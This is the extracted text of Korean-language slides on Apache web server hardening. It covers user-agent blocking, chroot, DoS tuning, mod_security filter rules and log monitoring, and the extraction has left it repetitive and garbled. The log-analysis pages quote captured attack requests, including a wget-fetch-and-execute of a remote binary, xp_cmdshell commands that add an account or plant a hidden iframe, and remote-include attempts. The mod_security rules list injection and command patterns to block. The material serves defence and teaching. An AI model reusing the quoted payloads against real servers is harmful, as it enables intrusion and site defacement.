자동화된 악성로봇의 등장자동화된 악성로봇의 등장자동화된 악성로봇의 등장사이트 내용의 복사 또는 필요한 정보의 추출- 라이센스- 스팸메일 정보 추출에 악용환경변수의 정 를 이용하여 특정 에이전 의 차단

자동화된 악성로봇의 등장사이트 내용의 복사 또는 필요한 정보의 추출- 라이센스- 스팸메일 정보 추출에 악용환경변수의 정 를 이용하여 특정 에이전 의 차단환경변수의 정보를 이용하여 특정 에이전트의 차단e.g) rewrite 모듈의 기능 활용

RewriteCond %{REQUEST_FILENAME} html?$ [OR] RewriteCond %{HTTP USER AGENT} ^WebZIP [OR]

환경변수의 정보를 이용하여 특정 에이전트의 차단e.g) rewrite 모듈의 기능 활용

RewriteCond %{REQUEST_FILENAME} html?$ [OR] RewriteCond %{HTTP USER AGENT} ^WebZIP [OR]RewriteCond %{HTTP_USER_AGENT} WebZIP [OR]RewriteCond %{HTTP_USER_AGENT} ^Teleport [OR]RewriteCond %{HTTP_USER_AGENT} ^WebCopy [OR]RewriteCond %{HTTP USER AGENT} ^WebStripper [OR]

RewriteCond %{HTTP_USER_AGENT} WebZIP [OR]RewriteCond %{HTTP_USER_AGENT} ^Teleport [OR]RewriteCond %{HTTP_USER_AGENT} ^WebCopy [OR]RewriteCond %{HTTP USER AGENT} ^WebStripper [OR]{ _ _ } pp [ ]RewriteCond %{HTTP_USER_AGENT} ^ia_archiver [OR]RewriteCond %{HTTP_USER_AGENT} ^UrlScope [OR]RewriteRule ^.*$ http://www.apache-kr.org/nospam.html [R]

{ _ _ } pp [ ]RewriteCond %{HTTP_USER_AGENT} ^ia_archiver [OR]RewriteCond %{HTTP_USER_AGENT} ^UrlScope [OR]RewriteRule ^.*$ http://www.apache-kr.org/nospam.html [R]

Page 27: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

Chroot 환경의 아파치Chroot 환경의 아파치Chroot 환경의 아파치Chroot 환경의 아파치

chroot 환경에서 동작하는 아파치 웹 서버의 고려chroot 환경에서 동작하는 아파치 웹 서버의 고려chroot 환경에서 동작하는 아파치 웹 서버의 고려chroot 로 지정된 이외의 곳에 접근할 수 없게되므로 보안성은 크게 높아지게 되지만 CGI, PHP,

chroot 환경에서 동작하는 아파치 웹 서버의 고려chroot 로 지정된 이외의 곳에 접근할 수 없게되므로 보안성은 크게 높아지게 되지만 CGI, PHP, 되므로 보안성은 크게 높아지게 되지만 , ,데이타베이스연동등과 같이 외부의 라이브러리또는 바이너리 파일을 필요로 할 수 있다. 이것은곧 보안적으로는 많은 장점을 가지고 있지만 설치

되므로 보안성은 크게 높아지게 되지만 , ,데이타베이스연동등과 같이 외부의 라이브러리또는 바이너리 파일을 필요로 할 수 있다. 이것은곧 보안적으로는 많은 장점을 가지고 있지만 설치곧, 보안적으로는 많은 장점을 가지고 있지만 설치및 운영이 복잡해 진다는 것을 뜻한다.곧, 보안적으로는 많은 장점을 가지고 있지만 설치및 운영이 복잡해 진다는 것을 뜻한다.

설치 및 참고 URL http://www.w3.org/Security/Faq/wwwsf3.html#SVR-Q5

설치 및 참고 URL http://www.w3.org/Security/Faq/wwwsf3.html#SVR-Q5http://penguin.epfl.ch/chroot.htmlhttp://www.devet.org/apache/chroot/http://linuxpub.w.interia.pl/howto/apache.html

http://penguin.epfl.ch/chroot.htmlhttp://www.devet.org/apache/chroot/http://linuxpub.w.interia.pl/howto/apache.htmlhttp://linuxpub.w.interia.pl/howto/apache.htmlhttp://linuxpub.w.interia.pl/howto/apache.html

Page 28: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

공개 프로그램 설치시 유의사항공개 프로그램 설치시 유의사항공개 프로 램 설치시 유의사항공개 프로 램 설치시 유의사항

공개 애플리케이션 설치시 적절한 설정 변경공개 애플리케이션 설치시 적절한 설정 변경공개 애플리케이션 설치시 적절한 설정 변경설치 위치 경로

공개 애플리케이션 설치시 적절한 설정 변경설치 위치 경로

행실행 파일 이름

URL 추정만으로도 어떤 소프트웨어를실행 파일 이름

URL 추정만으로도 어떤 소프트웨어를사용하고 어떤 버전인지 유추할 수 있다.Default 설치는 그 위험을 더욱 증가시킬 수사용하고 어떤 버전인지 유추할 수 있다.Default 설치는 그 위험을 더욱 증가시킬 수설치는 위험을 더욱 증가시킬 수있다.설치된 Application 의 업데이트를 간과하지

설치는 위험을 더욱 증가시킬 수있다.설치된 Application 의 업데이트를 간과하지설치된 Application 의 업데이트를 간과하지마라. 특히 보안 업데이트는 항상 관심을기울여야 한다.

설치된 Application 의 업데이트를 간과하지마라. 특히 보안 업데이트는 항상 관심을기울여야 한다.기울여야 한다.기울여야 한다.

Page 29: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

Attack and DefenseAttack and DefenseMore Tips…More Tips…

Page 30: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

Buffer Overflow 예방Buffer Overflow 예방Buffer Overflow 예방Buffer Overflow 예방

아파치 웹 서버의 설정아파치 웹 서버의 설정아파치 웹 서버의 설정- LimitRequestBody 10240- LimitRequestFields 40

아파치 웹 서버의 설정- LimitRequestBody 10240- LimitRequestFields 40LimitRequestFields 40- LimitRequestFieldsize 100- LimitRequestLine 500

LimitRequestFields 40- LimitRequestFieldsize 100- LimitRequestLine 500LimitRequestLine 500mod_parmguard해커로부터 입력되는 데이터의 필터를

LimitRequestLine 500mod_parmguard해커로부터 입력되는 데이터의 필터를해커로부터 입력되는 데이터의 필터를통하여 스크립트를 보호한다.http://www.trickytools.com/php/mo

해커로부터 입력되는 데이터의 필터를통하여 스크립트를 보호한다.http://www.trickytools.com/php/mop y p pd_parmguard.php응용프로그램

p y p pd_parmguard.php응용프로그램응용 램- Boundary Check응용 램- Boundary Check

Page 31: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

서비스 거부 공격서비스 거부 공격서비스 거부 공격서비스 거부 공격

서비스거부공격은 웹 서비스 운영에 큰 위협서비스거부공격은 웹 서비스 운영에 큰 위협서비스거부공격은 웹 서비스 운영에 큰 위협- DoS(Denial of Service)- DDoS, DRDoS2000년 2월 Buy.com, eBay, CNN, Yahoo, Amazon 대형사이트

서비스거부공격은 웹 서비스 운영에 큰 위협- DoS(Denial of Service)- DDoS, DRDoS2000년 2월 Buy.com, eBay, CNN, Yahoo, Amazon 대형사이트년 월 y , y, , , 대형사이트DDoS 공격최근에는 금전적 목적의 DDoS 공격이 증가아파치 성능 지시어 조절

년 월 y , y, , , 대형사이트DDoS 공격최근에는 금전적 목적의 DDoS 공격이 증가아파치 성능 지시어 조절Timeout, KeepAlive, KeepAliveTimeout, StartServers, MinSpareServers, MaxSpareServers, MaxClientsRLimitCPU, RLimitMEM, RLimitNPROC

Timeout, KeepAlive, KeepAliveTimeout, StartServers, MinSpareServers, MaxSpareServers, MaxClientsRLimitCPU, RLimitMEM, RLimitNPROC

대역폭의 조절- bwshare module- mod_bandwidth- mod throttle

대역폭의 조절- bwshare module- mod_bandwidth- mod throttle- mod_throttle- mod_evasiveApache DoS Evasive Maneuvers ModuleDoS, DDoS 또는 Brute force 공격등을 탐지하고 조절할 수 있는기능을 제공

- mod_throttle- mod_evasiveApache DoS Evasive Maneuvers ModuleDoS, DDoS 또는 Brute force 공격등을 탐지하고 조절할 수 있는기능을 제공기능을 제공http://www.nuclearelephant.com/projects/dosevasive/기능을 제공http://www.nuclearelephant.com/projects/dosevasive/

Page 32: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

웹 서버와 악성코드웹 서버와 악성코드웹 서버와 악성코드웹 서버와 악성코드

웹 서버가 악성코드 전파에 많이 이용되고 있다는 사실웹 서버가 악성코드 전파에 많이 이용되고 있다는 사실웹 서버가 악성코드 전파에 많이 이용되고 있다는 사실아시나요?어떤 웹 서버 소프트웨어가 배포에 많이 이용되었을까?

웹 서버가 악성코드 전파에 많이 이용되고 있다는 사실아시나요?어떤 웹 서버 소프트웨어가 배포에 많이 이용되었을까?

웹 서버 악성코드 배포의 재미있는 도표 하나글이 작년 순경에 개의 메인을 사

웹 서버 악성코드 배포의 재미있는 도표 하나글이 작년 순경에 개의 메인을 사(구글이 작년 중순경에 70,000 개의 도메인을 조사)(구글이 작년 중순경에 70,000 개의 도메인을 조사)

<국가별 웹 서버 분포> <국가별 악성코드 배포 분포>

Page 33: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

취약점을 이용한 웜 사례취약점을 이용한 웜 사례취약점을 이용한 웜 사례취약점을 이용한 웜 사례

0 day Exploit0 day Exploit0 day Exploit취약점이 보고된 후, 이를 악용한 Exploit 이 나오기 까지는 그리 오랜 시간이걸리지 않는다. 즉, 빠른속도로 확산될 수 있는 웜의 출현이 가능하다.

OpenSSL 취약점을 이용한 아파치 웜 Slapper 사례

0 day Exploit취약점이 보고된 후, 이를 악용한 Exploit 이 나오기 까지는 그리 오랜 시간이걸리지 않는다. 즉, 빠른속도로 확산될 수 있는 웜의 출현이 가능하다.

OpenSSL 취약점을 이용한 아파치 웜 Slapper 사례OpenSSL 취약점을 이용한 아파치 웜 Slapper 사례

- 2002년7월30일 OpenSSL 의 취약점이 보고되었고, 0.96d 이하의 버전은문제를 가지고 있음- 변형의 발견 (Slapper.B,C)h // h k 의 기술문서 참

OpenSSL 취약점을 이용한 아파치 웜 Slapper 사례

- 2002년7월30일 OpenSSL 의 취약점이 보고되었고, 0.96d 이하의 버전은문제를 가지고 있음- 변형의 발견 (Slapper.B,C)h // h k 의 기술문서 참http://www.apache-kr.org 의 기술문서 참고

외부의 접근 시도시 다음과 같은 정보가 기록됨# grep ssl /path/to/<http_logname> | grep error [Sat Sep 14 18:10:00 2002] [ ] [ li t XX XX XX XX] li t t HTTP/1 1 t ith t

http://www.apache-kr.org 의 기술문서 참고

외부의 접근 시도시 다음과 같은 정보가 기록됨# grep ssl /path/to/<http_logname> | grep error [Sat Sep 14 18:10:00 2002] [ ] [ li t XX XX XX XX] li t t HTTP/1 1 t ith t2002] [error] [client XX.XX.XX.XX] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): / [Sat Sep 14 18:10:16 2002] [error] mod_ssl: SSL handshake failed (server XX.XX.XX.XX:443, client XX.XX.XX.XX) (OpenSSL library error follows) [Sat Sep 14 18:10:16 2002] [error] OpenSSL: error:1406B458:lib(20):func(107):reason(1112)

2002] [error] [client XX.XX.XX.XX] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): / [Sat Sep 14 18:10:16 2002] [error] mod_ssl: SSL handshake failed (server XX.XX.XX.XX:443, client XX.XX.XX.XX) (OpenSSL library error follows) [Sat Sep 14 18:10:16 2002] [error] OpenSSL: error:1406B458:lib(20):func(107):reason(1112)[error] OpenSSL: error:1406B458:lib(20):func(107):reason(1112) [error] OpenSSL: error:1406B458:lib(20):func(107):reason(1112)

Page 34: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

mod_security 모듈을 이용한보안성 향상

mod_security 모듈을 이용한보안성 향상보안성 향상보안성 향상

보안 모듈을 이용한 차단의 제안보안 모듈을 이용한 차단의 제안보안 모듈을 이용한 차단의 제안ModSecurity

Open Source: http://www.modsecurity.orgGPL 과 상업용 라이센스

보안 모듈을 이용한 차단의 제안ModSecurity

Open Source: http://www.modsecurity.orgGPL 과 상업용 라이센스GPL 과 상업용 라이센스무료 또는 상업적인 지원아파치 버전 1.X, 2.X 지원

GPL 과 상업용 라이센스무료 또는 상업적인 지원아파치 버전 1.X, 2.X 지원웹 서버에 임베디드 되어 디자인 변경없이 보안적인 기능 향상modSecurity 의 기능

감사 로그

웹 서버에 임베디드 되어 디자인 변경없이 보안적인 기능 향상modSecurity 의 기능

감사 로그정규식 표현 기반의 룰외부 프로그램의 수행제한없는 다양한 보안 정책 적용 가능파일 업 체 및 실시간 검증

정규식 표현 기반의 룰외부 프로그램의 수행제한없는 다양한 보안 정책 적용 가능파일 업 체 및 실시간 검증파일 업로드 체크 및 실시간 검증버퍼오버플로우 방어Encoding validation

파일 업로드 체크 및 실시간 검증버퍼오버플로우 방어Encoding validation

Page 35: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

mod_security 컴파일 및적용

mod_security 컴파일 및적용적용적용

다운로드다운로드다운로드http://www.modsecurity.org/download/컴파일

DSO 방식

다운로드http://www.modsecurity.org/download/컴파일

DSO 방식DSO 방식apxs -cia mod_security.cStatic 방식1. mod_security.c 를 src/modules/extra 에 복사

DSO 방식apxs -cia mod_security.cStatic 방식1. mod_security.c 를 src/modules/extra 에 복사_ y 를 / / 에 복사2. Configure 를 이용하여 다음과 같이 정의:--activate-module=src/modules/extra/mod_security--enable-module=security3 k & k i t ll

_ y 를 / / 에 복사2. Configure 를 이용하여 다음과 같이 정의:--activate-module=src/modules/extra/mod_security--enable-module=security3 k & k i t ll3. make & make install

아파치 웹 서버 적용httpd.conf 파일에 mod_security 파마리터 정의아파치 웹 서버 시작

3. make & make install 아파치 웹 서버 적용httpd.conf 파일에 mod_security 파마리터 정의아파치 웹 서버 시작아파치 웹 서버 시작httpd -t apachectl restart

아파치 웹 서버 시작httpd -t apachectl restart

Page 36: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

mod security 의 기본 설정mod security 의 기본 설정mod_security 의 기본 설정mod_security 의 기본 설정

지시어 이름만으로도 쉽게 추정가능한 설정 파일지시어 이름만으로도 쉽게 추정가능한 설정 파일지시어 이름만 쉽게 추정가능한 설정 파일<IfModule mod_security.c>SecFilterEngine On /* mod_security 사용 */SecFilterDefaultAction "deny,log,status:403"SecFilterScanPOST On /* POST 에 대해서 필터 스캔 적용 */

지시어 이름만 쉽게 추정가능한 설정 파일<IfModule mod_security.c>SecFilterEngine On /* mod_security 사용 */SecFilterDefaultAction "deny,log,status:403"SecFilterScanPOST On /* POST 에 대해서 필터 스캔 적용 *// 에 대해서 필터 캔 적용 /SecFilterCheckURLEncoding OnSecFilterCheckUnicodeEncoding OffSecFilterForceByteRange 1 255# SecServerSignature "Microsoft-IIS/5.0"

/ 에 대해서 필터 캔 적용 /SecFilterCheckURLEncoding OnSecFilterCheckUnicodeEncoding OffSecFilterForceByteRange 1 255# SecServerSignature "Microsoft-IIS/5.0"g /SecUploadDir /tmpSecUploadKeepFiles OffSecAuditEngine RelevantOnlySecAuditLog logs/modsec_audit.log /* 보안감사 로그 파일 경로 */

g /SecUploadDir /tmpSecUploadKeepFiles OffSecAuditEngine RelevantOnlySecAuditLog logs/modsec_audit.log /* 보안감사 로그 파일 경로 */g g _ g 안감사 파일 경SecFilterDebugLevel 0SecFilterDebugLog logs/modsec_debug.log /* 디버그 경로 */SecFilterSelective REQUEST_METHOD "!^(GET|HEAD)$" chainSecFilterSelective HTTP_Content-Type "!(^application/x-www-form-

$

g g _ g 안감사 파일 경SecFilterDebugLevel 0SecFilterDebugLog logs/modsec_debug.log /* 디버그 경로 */SecFilterSelective REQUEST_METHOD "!^(GET|HEAD)$" chainSecFilterSelective HTTP_Content-Type "!(^application/x-www-form-

$yp ( pp

urlencoded$|^multipart/form-data;)“SecFilterSelective REQUEST_METHOD "^POST$" chain

SecFilterSelective HTTP_Content-Length "^$“SecFilterSelective HTTP_Transfer-Encoding "!^$"

yp ( ppurlencoded$|^multipart/form-data;)“

SecFilterSelective REQUEST_METHOD "^POST$" chainSecFilterSelective HTTP_Content-Length "^$“

SecFilterSelective HTTP_Transfer-Encoding "!^$"추Include conf/modsecurity/apache.conf /* 추가 설정 파일 정보 */

</IfModule>Include conf/modsecurity/apache.conf /* 추가 설정 파일 정보 */

</IfModule>

Page 37: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

mod security 룰 사용 예제mod security 룰 사용 예제mod_security 룰 사용 예제mod_security 룰 사용 예제

JavaScript Injection 방지JavaScript Injection 방지JavaScript Injection 방지SecFilter “<script”SQL Injection 방지

JavaScript Injection 방지SecFilter “<script”SQL Injection 방지Q j 방지SecFilter “DELETE[[:space:]]+FROM”사용자가 ‘admin’ 이며 특정 IP 로부터의 접근만을허용

Q j 방지SecFilter “DELETE[[:space:]]+FROM”사용자가 ‘admin’ 이며 특정 IP 로부터의 접근만을허용허용SecFilterSelective ARG_username “^admin$” chain

허용SecFilterSelective ARG_username “^admin$” chainc aSecFilterSelective REMOTE_ADDR “!^192.168.0.1$”특정 명령어 제한

c aSecFilterSelective REMOTE_ADDR “!^192.168.0.1$”특정 명령어 제한특정 명령어 제한SecFilter cmd.exe특정 명령어 제한SecFilter cmd.exe

Page 38: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

mod security 룰 사용 예제mod security 룰 사용 예제mod_security 룰 사용 예제mod_security 룰 사용 예제

User Agent 헤더의 스크립트 차단User Agent 헤더의 스크립트 차단User-Agent 헤더의 스크립트 차단SecFilterSelective HTTP_REFERER|HTTP_USER_AGENT

"<[[:space:]]*(script|about|applet|activex|chrome)*>.*(script|about|applet|activex|chrome)[[:space:]]*>"

User-Agent 헤더의 스크립트 차단SecFilterSelective HTTP_REFERER|HTTP_USER_AGENT

"<[[:space:]]*(script|about|applet|activex|chrome)*>.*(script|about|applet|activex|chrome)[[:space:]]*>"plet|activex|chrome)[[:space:]]*>일반적인 SQL Injection 차단

1) SecFilter| | | | | | | | | |

plet|activex|chrome)[[:space:]]*>일반적인 SQL Injection 차단

1) SecFilter| | | | | | | | | |"((select|grant|delete|insert|drop|alter|replace|truncate|update|create|

rename|describe)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]+[[:space:]]+(from|into|table|databas

"((select|grant|delete|insert|drop|alter|replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]+[[:space:]]+(from|into|table|databas

e|index|view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|UNION SELECT.*\'.*\'.*,[0-9].*INTO.*FROM)“

2) SecFilterSelective ARGS "(or.+1[[:space:]]*=[[:space:]]1|(or 1=1|'.+)--

e|index|view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|UNION SELECT.*\'.*\'.*,[0-9].*INTO.*FROM)“

2) SecFilterSelective ARGS "(or.+1[[:space:]]*=[[:space:]]1|(or 1=1|'.+)--')" "id:300014,rev:1,severity:2,msg:'Generic SQL injection protection'"일반적인 명령어 공격

SecFilterSelective REQUEST URI|ARGS "\|*id\;echo*\|"

')" "id:300014,rev:1,severity:2,msg:'Generic SQL injection protection'"일반적인 명령어 공격

SecFilterSelective REQUEST URI|ARGS "\|*id\;echo*\|"SecFilterSelective REQUEST_URI|ARGS \| id\;echo \|명령어 차단

SecFilterSelective THE_REQUEST "/usr/bin/perl"

SecFilterSelective REQUEST_URI|ARGS \| id\;echo \|명령어 차단

SecFilterSelective THE_REQUEST "/usr/bin/perl"

Page 39: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

mod security 탐지mod security 탐지mod_security 탐지mod_security 탐지

모듈에 의해 탐지된 정보는 로그파일에 기록되어 어떤 위협들이 웹 서버로 이뤄지고모듈에 의해 탐지된 정보는 로그파일에 기록되어 어떤 위협들이 웹 서버로 이뤄지고모듈에 의해 탐지된 정보는 로그파일에 기록되어 어떤 위협들이 웹 서버로 이뤄지고있는지 확인해 볼 수 있다. 탐지된 정보를 기반으로 웹 서버에 영향을 줄 수 있는 것들을 검토하여 문제가 될 소지가있는 부분은 사전에 차단한다.탐지된 사례의 경우

모듈에 의해 탐지된 정보는 로그파일에 기록되어 어떤 위협들이 웹 서버로 이뤄지고있는지 확인해 볼 수 있다. 탐지된 정보를 기반으로 웹 서버에 영향을 줄 수 있는 것들을 검토하여 문제가 될 소지가있는 부분은 사전에 차단한다.탐지된 사례의 경우탐지된 사례의 경우

특정 PHP 를 통한 원격지 명령어 실행Request: www.apache-kr.org 81.214.171.215 - - [28/Nov/2006:11:57:58 +0900] "GET /news/templates/headline_temp.php?nst_inc=http://artechinstruments.com/tool20.dat?&list=

탐지된 사례의 경우특정 PHP 를 통한 원격지 명령어 실행

Request: www.apache-kr.org 81.214.171.215 - - [28/Nov/2006:11:57:58 +0900] "GET /news/templates/headline_temp.php?nst_inc=http://artechinstruments.com/tool20.dat?&list=1&cmd=id HTTP/1.0" 403 230 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)"- "-“----------------------------------------mod_security-action: 403

1&cmd=id HTTP/1.0" 403 230 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)"- "-“----------------------------------------mod_security-action: 403ymod_security-message: Access denied with code 403.

OPTION MethodRequest: www apache kr org 219 150 198 239 [23/Nov/2006:14:32:43 +0900] "OPTIONS

ymod_security-message: Access denied with code 403.

OPTION MethodRequest: www apache kr org 219 150 198 239 [23/Nov/2006:14:32:43 +0900] "OPTIONSRequest: www.apache-kr.org 219.150.198.239 - - [23/Nov/2006:14:32:43 +0900] OPTIONS* HTTP/1.1" 403 210 "-" "-" - "-“

CONNECT

Request: www.apache-kr.org 219.150.198.239 - - [23/Nov/2006:14:32:43 +0900] OPTIONS* HTTP/1.1" 403 210 "-" "-" - "-“

CONNECT Request: www.apache-kr.org 61.229.126.135 - - [23/Nov/2006:04:43:35 +0900] "CONNECTmx3.mail2000.com.tw:25 HTTP/1.0" 403 198 "-" "-" - "-"Request: www.apache-kr.org 61.229.126.135 - - [23/Nov/2006:04:43:35 +0900] "CONNECTmx3.mail2000.com.tw:25 HTTP/1.0" 403 198 "-" "-" - "-"

Page 40: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

아파치 보안성 테스트아파치 보안성 테스트아파치 보안성 테스트아파치 보안성 테스트

주기적으로 보안적으로 문제 없는지주기적으로 보안적으로 문제 없는지주기적으로 보안적으로 문제 없는지테스트할 필요성이 있다.주기적으로 보안적으로 문제 없는지테스트할 필요성이 있다.수동으로 하기에는 쉽지 않으므로자동화된 도구를 이용수동으로 하기에는 쉽지 않으므로자동화된 도구를 이용자동화된 도구를 이용

Nessus(http://www.nessus.org)자동화된 도구를 이용

Nessus(http://www.nessus.org)Nikto(http://www.cirt.net/nikto2)nmapNikto(http://www.cirt.net/nikto2)nmapp이외 다양한 네트워크 보안 도구http://sectools.org/

p이외 다양한 네트워크 보안 도구http://sectools.org/http://sectools.org/http://sectools.org/

Page 41: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

아파치 상태 관찰아파치 상태 관찰아파치 상태 관찰아파치 상태 관찰

보안강화만큼 중요한 것이 지속적인 관리이다보안강화만큼 중요한 것이 지속적인 관리이다보안강화만큼 중요한 것이 지속적인 관리이다.아파치 상태를 관찰하며 비 이상적인 행동 감시- 급격한 프로세스 증가(100 개 이상 ?)

시스템의 자원 현황 및 전체적인 관찰 필요

보안강화만큼 중요한 것이 지속적인 관리이다.아파치 상태를 관찰하며 비 이상적인 행동 감시- 급격한 프로세스 증가(100 개 이상 ?)

시스템의 자원 현황 및 전체적인 관찰 필요- 시스템의 자원 현황 및 전체적인 관찰 필요- ‘netstat -an’mod status 의 이용

- 시스템의 자원 현황 및 전체적인 관찰 필요- ‘netstat -an’mod status 의 이용_ 의 이용외부에서는 접근하지 못하도록 지정해야 한다.

<Location /server-status>SetHandler server status

_ 의 이용외부에서는 접근하지 못하도록 지정해야 한다.

<Location /server-status>SetHandler server statusSetHandler server-statusOrder deny,allowDeny from all

SetHandler server-statusOrder deny,allowDeny from allDeny from allAllow from localhost

</Location>

Deny from allAllow from localhost

</Location>

Page 42: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

로그파일 분석로그파일 분석로그파일 분석로그파일 분석

로그파일 관련 지시어로그파일 관련 지시어로그파일 관련 지시어- ErrorLog- LogLevel- LogFormat- CustomLog

로그파일 관련 지시어- ErrorLog- LogLevel- LogFormat- CustomLog로그파일의 감시# tail –f logs/access_log# tail –f logs/access_log | grep 404로그파일에 기록되는 비 이상적인 요청이 무엇인가?

로그파일의 감시# tail –f logs/access_log# tail –f logs/access_log | grep 404로그파일에 기록되는 비 이상적인 요청이 무엇인가?

1) 61.73.XX.93 - - [26/Aug/2005:11:49:01 +0900] "GET /cgi-bin/tools/ctss.idc?ds=LocalServer&user=sa&pwd=&table=ngt(ng%20int);EXEC+master..xp_cmdshell(\"cmd.exe+/c%20dir\");-- HTTP/1.0" 404 5692) [Thu Dec 29 16:36:05 2005] [error] [client 168.75.27.XX] request failed: erroneous characters after protocol string: GET

1) 61.73.XX.93 - - [26/Aug/2005:11:49:01 +0900] "GET /cgi-bin/tools/ctss.idc?ds=LocalServer&user=sa&pwd=&table=ngt(ng%20int);EXEC+master..xp_cmdshell(\"cmd.exe+/c%20dir\");-- HTTP/1.0" 404 5692) [Thu Dec 29 16:36:05 2005] [error] [client 168.75.27.XX] request failed: erroneous characters after protocol string: GETstring: GET /cvs/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP\x01.13) http://victim/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”—4) http://victim/url.asp?id=1;exec master..xp_cmdshell ‘echo <ifrmae src=http://www.target.com/icyfox.htm width=“0” height=“0”></iframe> >> c:\inetpub\www\index.html’;

string: GET /cvs/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP\x01.13) http://victim/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”—4) http://victim/url.asp?id=1;exec master..xp_cmdshell ‘echo <ifrmae src=http://www.target.com/icyfox.htm width=“0” height=“0”></iframe> >> c:\inetpub\www\index.html’;

로그파일 분석 프로그램 활용- WebAlizer- 이외 기타 자유롭게 사용할 수 있는 공개된 분석 툴이 있음

로그파일 분석 프로그램 활용- WebAlizer- 이외 기타 자유롭게 사용할 수 있는 공개된 분석 툴이 있음이외 기타 자유롭게 사용할 수 있는 공개된 분석 툴이 있음이외 기타 자유롭게 사용할 수 있는 공개된 분석 툴이 있음

Page 43: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

Real World ExampleReal World ExampleReal World ExampleReal World Example

사이트의 웹 서버 로그파일을 한번사이트의 웹 서버 로그파일을 한번사이트의 웹 서버 로그파일을 한번들여다 볼까요?사이트의 웹 서버 로그파일을 한번들여다 볼까요?

Page 44: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

관리자의 역할관리자의 역할관리자의 역할관리자의 역할

보안은 단 한번의 설정으로 이뤄지지 않는다는 점을 기억보안은 단 한번의 설정으로 이뤄지지 않는다는 점을 기억보안은 단 한번의 설정으로 이뤄지지 않는다는 점을 기억이제 보안은 선택이 아닌 ‘필수’보안은 단 한번의 설정으로 이뤄지지 않는다는 점을 기억이제 보안은 선택이 아닌 ‘필수’

웹 서버 운영에 심각한 취약점이 발표된 경우 빠르게 대처해야한다.

아파치 사이트에서 발표하는 A 메일링리스트

웹 서버 운영에 심각한 취약점이 발표된 경우 빠르게 대처해야한다.

아파치 사이트에서 발표하는 A 메일링리스트아파치 사이트에서 발표하는 Announce 메일링리스트구독[email protected]

아파치 사이트에서 발표하는 Announce 메일링리스트구독[email protected] p g

만일의 사태를 대비하여 데이터의 백업과 주기적인백업절차를 마련보안관련 메일링리스트와 사이트를 통해 웹 서버 와 사용하는

p p g만일의 사태를 대비하여 데이터의 백업과 주기적인백업절차를 마련보안관련 메일링리스트와 사이트를 통해 웹 서버 와 사용하는보안관련 메일링리스트와 사이트를 통해 웹 서버 와 사용하는웹 프로그램과 관련한 보안 취약점 정보를 수집한다.안전한 웹 서버의 운영을 원한다면 본인 스스로가 보안에 대한중요성을 인지하고 지속적인 관심을 가지고 더욱 더 안전한

